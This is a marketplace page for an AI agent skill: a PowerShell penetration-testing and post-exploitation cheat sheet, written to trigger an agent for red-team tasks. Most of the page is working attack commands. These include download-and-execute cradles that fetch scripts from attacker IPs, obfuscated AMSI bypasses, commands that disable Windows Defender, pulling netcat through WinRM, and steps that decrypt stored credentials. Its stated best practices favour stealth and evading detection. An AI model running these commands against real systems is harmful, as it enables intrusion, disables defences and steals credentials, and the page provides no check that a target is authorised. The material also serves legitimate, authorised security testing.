# Powershell Pentesting

> Windows PowerShell commands and techniques for penetration testing, reconnaissance, and post-exploitation. Use this skill whenever the user needs to perform Windows system enumeration, execute remote payloads, bypass AMSI/Defender, enumerate users/groups, check network configurations, handle credentials, or any other Windows pentesting task involving PowerShell. Trigger for any Windows security assessment, red team operation, or post-exploitation scenario.

- Skill: `abelrguezr/powershell-pentesting` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/powershell-pentesting`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/powershell-pentesting/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/powershell-pentesting

---


# PowerShell Pentesting Reference

A comprehensive guide to PowerShell commands and techniques for Windows penetration testing and post-exploitation.

## Quick Start

### PowerShell Locations
```powershell
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
```

### Basic Help Commands
```powershell
Get-Help *                    # List everything loaded
Get-Help process              # List everything containing "process"
Get-Help Get-Item -Full       # Get full help about a topic
Get-Help Get-Item -Examples   # List examples
Import-Module <modulepath>
Get-Command -Module <modulename>
```

---

## Download & Execute Payloads

### From CMD
```powershell
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile -
```

### With Execution Policy Bypass
```powershell
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
```

### From PowerShell v3+
```powershell
iex (iwr '10.10.14.9:8000/ipw.ps1')
```

### Using XMLHTTP (bypasses some restrictions)
```powershell
$h=New-Object -ComObject Msxml2.XMLHTTP
$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false)
$h.send()
iex $h.responseText
```

### Using WebRequest
```powershell
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()
```

### DNS TXT Record Payload
```powershell
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
```

---

## Download Files

### WebClient
```powershell
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
```

### Invoke-WebRequest
```powershell
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
```

### Wget (PowerShell 6+)
```powershell
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
```

### BitsTransfer
```powershell
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR asynchronous
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```

---

## Base64 Encoding (Linux to Windows)

### Encode payload on Kali/Linux
```bash
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
```

### Execute on Windows
```powershell
powershell -EncodedCommand <Base64>
```

---

## AMSI Bypass

AMSI (Antimalware Scan Interface) is loaded into your process memory. The goal is to overwrite instructions in memory to make detection useless.

### Method 1: Basic Bypass
```powershell
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
```

### Method 2: String Obfuscation
```powershell
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).substring(($_*2),2))})-replace " ").GetField([string](38..51|%{[char][int](29+($A+$B).substring(($_*2),2))})-replace " ",'NonPublic,Static').SetValue($null,$true)
```

### Method 3: Base64 Obfuscation
```powershell
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
```

### Method 4: Variable Splitting
```powershell
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)
```

### AMSI Bypass Resources
- [amsi.fail](https://amsi.fail/) - AMSI bypass generator
- [S3cur3Th1sSh1t/Amsi-Bypass-Powershell](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)
- [AmsiScanBufferBypass](https://github.com/rasta-mouse/AmsiScanBufferBypass)

---

## Disable Windows Defender

### Check Status
```powershell
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl
```

### Disable Real-time Monitoring
```powershell
Set-MpPreference -DisableRealtimeMonitoring $true
```

### Completely Disable Defender
```powershell
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
```

### Set Exclusions
```powershell
Set-MpPreference -ExclusionPath (pwd) -DisableRealtimeMonitoring
Add-MpPreference -ExclusionPath (pwd)
```

### Check GPO Exclusions
```powershell
Parse-PolFile .\Registry.pol
```

---

## System Reconnaissance

### OS Version and Patches
```powershell
[System.Environment]::OSVersion.Version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid}
Get-Hotfix -description "Security update"
```

### Environment Variables
```powershell
Get-ChildItem Env: | ft Key,Value -AutoSize
$env:UserName
```

### Connected Drives
```powershell
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"} | ft Name,Root
```

### Recycle Bin
```powershell
$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()
```

### Recent Files
```powershell
# By LastAccessTime
(gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName

# By LastWriteTime
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName
```

### Permissions
```powershell
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
```

### PowerShell History
```powershell
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
```

---

## User and Group Enumeration

### Local Users
```powershell
Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name
```

### Groups
```powershell
Get-LocalGroup | ft Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
```

### Clipboard
```powershell
Get-Clipboard
```

---

## Credential Handling

### Secure String to Plaintext
```powershell
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
```

### From XML File
```powershell
$cred = Import-CliXml -Path cred.xml
$cred.GetNetworkCredential() | Format-List *
```

### From Password File
```powershell
$pw = gc admin-pass.xml | convertto-securestring
$cred = new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl *
```

---

## Remote Execution (Sudo/WinRM)

### Create Credential Object
```powershell
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)
```

### Local Elevated Execution
```powershell
Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"
```

### WinRM Remote Execution
```powershell
# Test credentials
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred

# Download file
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred

# Run as admin
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'
```

### Enable WinRM
```powershell
enable-psremoting -force

# Set network to Private (required for WinRM)
Get-NetConnectionProfile | Where{ $_.NetworkCategory -ne 'Private'} | ForEach {
    $_ | Set-NetConnectionProfile -NetworkCategory Private -Confirm
}
```

---

## Network Reconnaissance

### Port Scanning
```powershell
# Single port
Test-NetConnection -Port 80 10.10.10.10

# Multiple ports on single IP
80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null

# Port range
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null

# Multiple IPs and ports
"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}
```

### Network Interfaces
```powershell
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
```

### Firewall Rules
```powershell
Get-NetFirewallRule -Enabled True

# Outbound blocked
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block

# Outbound allowed
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow

# Inbound blocked
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block

# Inbound allowed
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow

# Create new rule (e.g., allow SSH)
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow
```

### Routing and ARP
```powershell
route print
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
```

### Hosts File
```powershell
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
```

### Ping Sweep
```powershell
$ping = New-Object System.Net.NetworkInformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }
```

### SNMP Configuration
```powershell
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
```

---

## Process and Service Enumeration

### Processes
```powershell
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
```

### Services
```powershell
Get-Service
```

### Scheduled Tasks
```powershell
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
```

---

## SDDL to Readable Format

```powershell
ConvertFrom-SddlString "<SDDL_STRING>"
```

---

## Best Practices

1. **Use -NoProfile** to avoid loading user profiles that might trigger logging
2. **Use -WindowStyle Hidden** for stealthy execution
3. **Combine AMSI bypass with execution policy bypass** for maximum compatibility
4. **Test commands in a safe environment** before using in assessments
5. **Document all changes** made to the target system
6. **Use encoded commands** to avoid basic signature detection
7. **Consider network restrictions** when downloading payloads

---

## Additional Resources

- [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) - Active Directory reconnaissance
- [PowerUp](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) - Local privilege escalation
- [SharpClipBoard](https://github.com/slyd0g/SharpClipboard) - Clipboard monitoring
- [Start-ClipboardMonitor](https://github.com/HarmJ0y/Misc-PowerShell/blob/master/Start-ClipboardMonitor.ps1) - Alternative clipboard monitor